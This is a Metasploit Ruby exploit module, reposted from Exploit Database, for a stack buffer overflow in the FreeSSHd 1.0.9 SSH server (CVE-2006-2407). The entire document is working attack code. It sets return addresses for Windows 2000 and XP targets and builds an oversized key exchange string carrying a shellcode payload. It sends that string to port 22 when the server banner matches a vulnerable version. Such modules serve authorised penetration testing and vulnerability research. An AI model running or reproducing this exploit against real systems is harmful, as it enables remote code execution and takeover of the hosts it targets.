freeSSHd 1.0.9 – Key Exchange Algorithm String Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16461/

• ##
  # $Id: freesshd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.
  				This flaw is due to a buffer overflow error when handling a specially
  				crafted key exchange algorithm string received from an SSH client.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					['CVE', '2006-2407'],
  					['OSVDB', '25463'],
  					['BID', '17958'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
  					[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ],
  					[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'May 12 2006',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(22)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit ="SSH-2.0-OpenSSH_3.9p1"
  		sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
  		sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
  		sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
  		sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
  
  		res = sock.recv(22)
  		if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
  			print_status("Trying target #{target.name}...")
  			sock.put(sploit)
  		else
  			print_status("Not running a vulnerable version...")
  		end
  
  		handler
  		disconnect
  
  	end
  end